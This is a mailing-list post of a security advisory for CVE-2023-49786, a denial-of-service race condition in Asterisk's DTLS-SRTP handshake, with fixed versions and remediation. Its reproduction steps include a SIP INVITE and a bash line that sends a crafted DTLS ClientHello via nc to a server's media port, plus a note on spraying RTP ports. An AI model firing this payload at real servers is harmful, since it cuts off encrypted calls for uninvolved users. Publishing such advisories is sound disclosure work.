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List:       full-disclosure
Subject:    [FD] [ES2023-01] Asterisk susceptible to Denial of Service via DTLS Hello packets during call initia
From:       "Sandro Gauci" <sandro () enablesecurity ! com>
Date:       2023-12-15 12:27:06
Message-ID: 0b192078-4f43-4dd1-adbb-215a258ef852 () app ! fastmail ! com
[Download RAW message or body]

# Asterisk susceptible to Denial of Service via DTLS Hello packets during call initiation

- Fixed versions: 18.20.1, 20.5.1, 21.0.1,18.9-cert6
- Enable Security Advisory: \
                https://github.com/EnableSecurity/advisories/tree/master/ES2023-01-asterisk-dtls-hello-race
                
- Vendor Security Advisory: \
                https://github.com/asterisk/asterisk/security/advisories/GHSA-hxj9-xwr8-w8pq
- Other references: CVE-2023-49786
- Tested vulnerable versions: 20.1.0
- Timeline:
	- Report date: 2023-09-27
	- Triaged: 2023-09-27
	- Fix provided for testing: 2023-11-09
	- Vendor release with fix: 2023-12-14
	- Enable Security advisory: 2023-12-15

## TL;DR

When handling DTLS-SRTP for media setup, Asterisk is susceptible to Denial of Service due to a \
race condition in the hello handshake phase of the DTLS protocol. This attack can be done \
continuously, thus denying new DTLS-SRTP encrypted calls during the attack.

## Description

Our research has shown that key establishment for Secure Real-time Transport Protocol (SRTP) \
using Datagram Transport Layer Security Extension (DTLS)[^1] is susceptible to a Denial of \
Service attack due to a race condition. If an attacker manages to send a ClientHello DTLS \
message with an invalid CipherSuite (such as `TLS_NULL_WITH_NULL_NULL`) to the port on the \
Asterisk server that is expecting packets from the caller, a DTLS error is generated. This \
results in the media session being torn down, which is followed by teardown at signaling (SIP) \
level too.

This behavior was tested against Asterisk version 20.1.0, which was found to be vulnerable to \
this issue.

The following sequence diagram shows the normal flow (i.e. no attack) involving SIP, STUN and \
DTLS messages between a UAC (the Caller) and an Asterisk server capable of handling WebRTC \
calls.

Diagram showing a call setup against Asterisk that uses SIP, STUN and DTLS: \
https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/valid.png


In a controlled experiment, it was observed that when the Attacker sent a DTLS ClientHello to \
Asterisk's media port from a different IP and port, Asterisk responded by sending a DTLS Alert \
to the Caller. Additionally, Asterisk terminated the SIP call by sending a BYE message to the \
Caller.

Diagram showing a call setup against Asterisk that fails due to an attacker controlled DTLS \
ClientHello: https://github.com/EnableSecurity/advisories/blob/master/ES2023-01-asterisk-dtls-hello-race/resources/dos.png


During a real attack, the attacker would spray a vulnerable Asterisk server with DTLS \
ClientHello messages. The attacker would typically target the range of UDP ports allocated for \
RTP. When the ClientHello message from the Attacker wins the race against an expected \
ClientHello from the Caller, the call terminates, resulting in Denial of Service.

## Impact

Abuse of this vulnerability may lead to a massive Denial of Service on vulnerable Asterisk \
servers for calls that rely on DTLS-SRTP.

## How to reproduce the issue

1. Prepare an Asterisk server with an extension configured to handle WebRTC; this may involve \
the following `pjsip.conf` and `extensions.conf` configuration updates:

    `pjsip.conf`
    ```ini
	[transport-tls-nat]
	type = transport
	protocol = wss
	bind = 172.17.0.2

	[webrtc_client]
	type=aor
	max_contacts=5
	remove_existing=yes

	[webrtc_client]
	type=auth
	auth_type=userpass
	username=3456
	password=3456

	[3456]
	type=endpoint
	aors=webrtc_client
	auth=webrtc_client
	dtls_auto_generate_cert=yes
	webrtc=yes
	context=default
	disallow=all
	allow=opus,ulaw
	```

	`extensions.conf`
	```ini
	[globals]

	[default]
	exten = _XXXX,1,Verbose(1, "User ${CALLERID(num)} dialed ${EXTEN}.")
		same => n,Playback(demo-congrats)
		same => n,Hangup()
	```
1. Send an INVITE message to the target server with WebRTC SDP:

    ```default
	INVITE sip:1000@192.168.1.202 SIP/2.0
	Via: SIP/2.0/WSS 192.168.1.202:36742;rport=36742;branch=z9hG4bK-4RHtimOzaIkHeUDU
	Max-Forwards: 70
	From: <sip:3456@192.168.1.202>;tag=cnbsc3nNX2ydugl4
	To: <sip:1000@192.168.1.202>
	Contact: <sip:3456@192.168.1.202>
	Call-ID: VaglTzNRBSuvPPdw
	CSeq: 5 INVITE
	Content-Type: application/sdp
	Content-Length: 563

	v=0
	o=- 1695296401 1695296401 IN IP4 192.168.1.202
	s=-
	t=0 0
	c=IN IP4 192.168.1.202
	m=audio 36866 UDP/TLS/RTP/SAVPF 0 8 101
	a=setup:active
	a=fingerprint:sha-256 \
49:05:98:B2:15:43:1C:9C:4F:29:07:60:F8:63:77:16:80:F9:44:C0:97:8E:E5:48:D6:71:B4:03:10:85:D6:E3 \
a=rtpmap:0 PCMU/8000/1  a=rtpmap:8 PCMA/8000/1
	a=rtpmap:101 telephone-event/8000
	a=ice-ufrag:IOZyOSQkVywevryI
	a=ice-pwd:UQUtRMZKFERnmZqQdaggFzJBhcWVxabr
	a=candidate:6249488300 1 udp 2130706431 192.168.1.202 36866 typ host generation 0
	a=end-of-candidates
	a=rtcp-mux
	a=rtcprsize
	a=sendrecv

	```
1. Note Asterisk's media port and IP values, which will be used as the `<asterisk-ip>` and \
`<media-port>` parameters by the Attacker 1. When the call has been established, send a STUN \
binding request which has the appropriate Username, Message-Integrity and  Ice-Controlled \
properties 1. When the Binding Success Response message is received, send a DTLS ClientHello \
message from a (attacker-controlled) host, which is different from the Caller but has network \
access to the Asterisk server

    ```bash
	CLIENT_HELLO="Fv7/AAAAAAAAAAAAfAEAAHAAAAAAAAAAcP79AAA" 
	CLIENT_HELLO="${CLIENT_HELLO}AAG4HCVaUNVbYVmxuqdn2WyCgtTijhZ+WheP/+H"
	CLIENT_HELLO="${CLIENT_HELLO}4AAAACAAABAABEABcAAP8BAAEAAAoACAAGAB0AF"
	CLIENT_HELLO="${CLIENT_HELLO}wAYAAsAAgEAACMAAAANABQAEgQDCAQEAQUDCAUF"
	CLIENT_HELLO="${CLIENT_HELLO}AQgGBgECAQAOAAkABgABAAgABwA="
	echo -n "${CLIENT_HELLO}" | base64 --decode | nc -u <asterisk-ip> <media-port>
	```
1. Observe that the Caller receives a DTLS Alert message and a SIP BYE message on its signaling \
channel

Note that the above steps are used to reliably reproduce the vulnerability. In the case of a \
real attack, the attacker simply has to spray the Asterisk server with DTLS messages.


## Solution and recommendations

To address this vulnerability, upgrade Asterisk to the latest version which includes the \
security fix. The solution implemented is to drop all packets from addresses that have not been \
validated by an ICE check.

## About Enable Security

[Enable Security](https://www.enablesecurity.com) develops offensive security tools and \
provides quality penetration testing to help protect your real-time communications systems \
against attack.

## Disclaimer

The information in the advisory is believed to be accurate at the time of publishing based on \
currently available information. Use of the information constitutes acceptance for use in an AS \
IS condition. There are no warranties with regard to this information. Neither the author nor \
the publisher accepts any liability for any direct, indirect, or consequential loss or damage \
arising from use of, or reliance on, this information.

## Disclosure policy

This report is subject to Enable Security's vulnerability disclosure policy which can be found \
at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

[^1]: Datagram Transport Layer Security (DTLS) Extension to Establish Keys for the Secure \
Real-time Transport Protocol (SRTP) https://datatracker.ietf.org/doc/html/rfc5764


--
 
    Sandro Gauci, CEO at Enable Security GmbH

    Register of Companies:       AG Charlottenburg HRB 173016 B
    Company HQ:                       Neuburger Straße 101 b, 94036 Passau, Germany
    RTCSec Newsletter:               https://www.rtcsec.com/subscribe
    Our blog:                                https://www.rtcsec.com
    Other points of contact:       https://www.enablesecurity.com/contact/
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